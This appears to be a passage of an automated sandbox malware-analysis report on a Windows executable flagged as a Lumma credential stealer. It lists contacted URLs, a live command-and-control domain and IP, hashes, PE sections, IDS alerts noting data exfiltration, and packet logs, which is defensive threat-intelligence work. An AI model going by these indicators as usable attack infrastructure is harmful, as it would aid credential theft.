https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_e149f5d53c9263616797a13067f7a114fa287709b159d0a5	S6oj0LoSiL.exe, 00000001.00000003.1487221347.00000000053C6000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1487376697.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	S6oj0LoSiL.exe, 00000001.00000003.1418439685.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418621780.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418328326.000000000532D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	S6oj0LoSiL.exe, 00000001.00000003.1464763580.000000000541A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.	S6oj0LoSiL.exe, 00000001.00000003.1487221347.00000000053C6000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1487376697.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/apig	S6oj0LoSiL.exe, 00000001.00000003.1512785213.000000000056A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://grannyejh.lat/5X	S6oj0LoSiL.exe, 00000001.00000002.1572106028.000000000056C000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1554662041.000000000056A000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1530569963.0000000000566000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1529928299.0000000000566000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	S6oj0LoSiL.exe, 00000001.00000003.1418439685.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418621780.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418328326.000000000532D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/%%	S6oj0LoSiL.exe, 00000001.00000003.1441770658.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1442079261.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1463637776.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1463853167.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1493251592.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1442231512.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1529500909.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1441469020.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1441542932.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1441182659.000000000536C000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1463241797.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1530368597.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000002.1575802701.000000000536D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://grannyejh.lat/zX	S6oj0LoSiL.exe, 00000001.00000002.1572106028.000000000056C000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1554662041.000000000056A000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1530569963.0000000000566000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1529928299.0000000000566000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://grannyejh.lat:443/api	S6oj0LoSiL.exe, S6oj0LoSiL.exe, 00000001.00000003.1529979913.000000000050E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.micro	S6oj0LoSiL.exe, 00000001.00000003.1417319273.000000000050E000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1570016603.0000000000557000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1554743613.000000000050F000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1529979913.000000000050E000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1492917579.000000000050F000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1492688223.000000000050E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	S6oj0LoSiL.exe, 00000001.00000003.1487221347.00000000053C6000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1487376697.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	S6oj0LoSiL.exe, 00000001.00000003.1463725137.0000000005394000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	S6oj0LoSiL.exe, 00000001.00000003.1463725137.0000000005394000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	S6oj0LoSiL.exe, 00000001.00000003.1418439685.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418621780.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418328326.000000000532D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	S6oj0LoSiL.exe, 00000001.00000003.1463725137.0000000005394000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	S6oj0LoSiL.exe, 00000001.00000003.1487221347.00000000053C6000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1487376697.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta	S6oj0LoSiL.exe, 00000001.00000003.1487221347.00000000053C6000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1487376697.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	S6oj0LoSiL.exe, 00000001.00000003.1487221347.00000000053C6000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1487376697.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/)	S6oj0LoSiL.exe, 00000001.00000002.1575941881.0000000005380000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1570059825.000000000537C000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1554782835.000000000537B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	S6oj0LoSiL.exe, 00000001.00000003.1487221347.00000000053C6000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1487376697.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/apigs	S6oj0LoSiL.exe, 00000001.00000003.1554743613.000000000050F000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1529979913.000000000050E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	S6oj0LoSiL.exe, 00000001.00000003.1464763580.000000000541A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	S6oj0LoSiL.exe, 00000001.00000003.1418439685.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418621780.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418328326.000000000532D000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.64.80	grannyejh.lat	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578057
Start date and time:	2024-12-19 08:20:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	S6oj0LoSiL.exe renamed because original name is a hash value
Original Sample Name:	3dc730302dc71232ee3bb36dc669f3ae.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@2/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 8
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.109.210.53
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target S6oj0LoSiL.exe, PID 3200 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:21:06	API Interceptor	8x Sleep call for process: S6oj0LoSiL.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.64.80	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse
	tdMnK5A1pe.exe	Get hash	malicious	LummaC	Browse
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse
	Lw1k8a7gQu.exe	Get hash	malicious	LummaC	Browse
	random.exe.2.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0035.t-0009.t-msedge.net	pM3fQBuTLy.exe	Get hash	malicious	Vidar	Browse	13.107.246.63
	NVkyG9HAeY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	13.107.246.63
	SEPTobn3BR.exe	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.246.63
	Brooming.vbs	Get hash	malicious	Remcos, GuLoader	Browse	13.107.246.63
	Gosjeufon.cpl.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	13.107.246.63
	doc55334.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	13.107.246.63
	s4PymYGgSh.lnk	Get hash	malicious	Unknown	Browse	13.107.246.63
	http://mee6.xyz	Get hash	malicious	Unknown	Browse	13.107.246.63
grannyejh.lat	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.179.109
	469oyXQbRY.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	172.67.179.109
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	104.21.64.80
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	NHEXQatKdE.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	tdMnK5A1pe.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	pM3fQBuTLy.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	dlhost.exe	Get hash	malicious	XWorm	Browse	104.20.4.235
	c2A6GRyAwn.dll	Get hash	malicious	Nitol	Browse	104.21.42.47
	script.hta	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	c2A6GRyAwn.dll	Get hash	malicious	Nitol	Browse	104.21.42.47
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.209.202
	Brooming.vbs	Get hash	malicious	Remcos, GuLoader	Browse	104.21.86.72
	469oyXQbRY.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.67.146

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	SEPTobn3BR.exe	Get hash	malicious	Remcos, DBatLoader	Browse	104.21.64.80
	Delivery Confirmation Forms - Contact Form TS4047117 pdf.exe	Get hash	malicious	DBatLoader, FormBook	Browse	104.21.64.80
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.64.80
	469oyXQbRY.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	104.21.64.80
	https://d2kjcgrb1q4xt7.cloudfront.net/mULiCoBDj2Ug.exe	Get hash	malicious	Unknown	Browse	104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.64.80

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948788337541612
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	S6oj0LoSiL.exe
File size:	1'826'816 bytes
MD5:	3dc730302dc71232ee3bb36dc669f3ae
SHA1:	268717a1d24ef6be6b40b16f9e7f731ae7205083
SHA256:	570ee6ea154dc3da02a3e52122c89a504fdea8b8b622a5e13848804af7486b84
SHA512:	f0d6d22f52e498bac2327e7928ade046d57b254cdf97b6a490a0e6b515873b1832ecd66c2daad8761ff0f1f26ce1e84f0b4b7e80da5a7ab0da04890460eac005
SSDEEP:	49152:64IQwE9/jGUecQ0yTipjQgMtyuIOZiul:6hQTBjGXcMTidLMtyuIQJ
TLSH:	2E85335A9DB1A1E6C64BAA3244FC32EC39681343AACEC87D17440497DEC39CB7C4795A
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................pH...........@...........................H......U....@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x887000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FB650F20D1Ah
movsx ebx, byte ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	da4fe817ba439ad01c0e198c6cd71302	False	0.9974047517123288	data	7.980853938334159	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x2b0	0x400	b1e85b1cd09caefc2d43268be72ef161	False	0.3603515625	data	5.183452444303608	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x29c000	0x200	8f2070f1149e58c56b9dd65ce72f913a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vkhwstep	0x2f0000	0x196000	0x195a00	99eda2a15b85a94e1688d074931095da	False	0.9946389878659476	data	7.954285883329528	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lvdrqtey	0x486000	0x1000	0x400	f0c329b5adc411c99e08492303b725fb	False	0.7431640625	data	5.929754785487704	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x487000	0x3000	0x2200	a62eb520d4f867e1f70e3b071781728b	False	0.06583180147058823	DOS executable (COM)	0.7090105454256729	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T08:21:04.657656+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.9	54125	1.1.1.1	53	UDP
2024-12-19T08:21:04.801320+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.9	63026	1.1.1.1	53	UDP
2024-12-19T08:21:06.245125+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.9	49716	104.21.64.80	443	TCP
2024-12-19T08:21:06.245125+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49716	104.21.64.80	443	TCP
2024-12-19T08:21:07.053160+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.9	49716	104.21.64.80	443	TCP
2024-12-19T08:21:07.053160+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49716	104.21.64.80	443	TCP
2024-12-19T08:21:08.290239+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.9	49721	104.21.64.80	443	TCP
2024-12-19T08:21:08.290239+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49721	104.21.64.80	443	TCP
2024-12-19T08:21:09.125980+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.9	49721	104.21.64.80	443	TCP
2024-12-19T08:21:09.125980+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49721	104.21.64.80	443	TCP
2024-12-19T08:21:10.772589+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.9	49727	104.21.64.80	443	TCP
2024-12-19T08:21:10.772589+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49727	104.21.64.80	443	TCP
2024-12-19T08:21:11.693012+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.9	49727	104.21.64.80	443	TCP
2024-12-19T08:21:13.048222+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.9	49733	104.21.64.80	443	TCP
2024-12-19T08:21:13.048222+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49733	104.21.64.80	443	TCP
2024-12-19T08:21:15.321012+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.9	49738	104.21.64.80	443	TCP
2024-12-19T08:21:15.321012+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49738	104.21.64.80	443	TCP
2024-12-19T08:21:18.190489+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.9	49745	104.21.64.80	443	TCP
2024-12-19T08:21:18.190489+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49745	104.21.64.80	443	TCP
2024-12-19T08:21:20.541800+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.9	49752	104.21.64.80	443	TCP
2024-12-19T08:21:20.541800+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49752	104.21.64.80	443	TCP
2024-12-19T08:21:20.625291+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.9	49752	104.21.64.80	443	TCP
2024-12-19T08:21:24.578365+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.9	49763	104.21.64.80	443	TCP
2024-12-19T08:21:24.578365+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49763	104.21.64.80	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 08:21:05.021774054 CET	49716	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:05.021811962 CET	443	49716	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:05.021862984 CET	49716	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:05.026120901 CET	49716	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:05.026139975 CET	443	49716	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:06.244956017 CET	443	49716	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:06.245125055 CET	49716	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:06.248258114 CET	49716	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:06.248279095 CET	443	49716	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:06.248517036 CET	443	49716	104.21.64.80	192.168.2.9
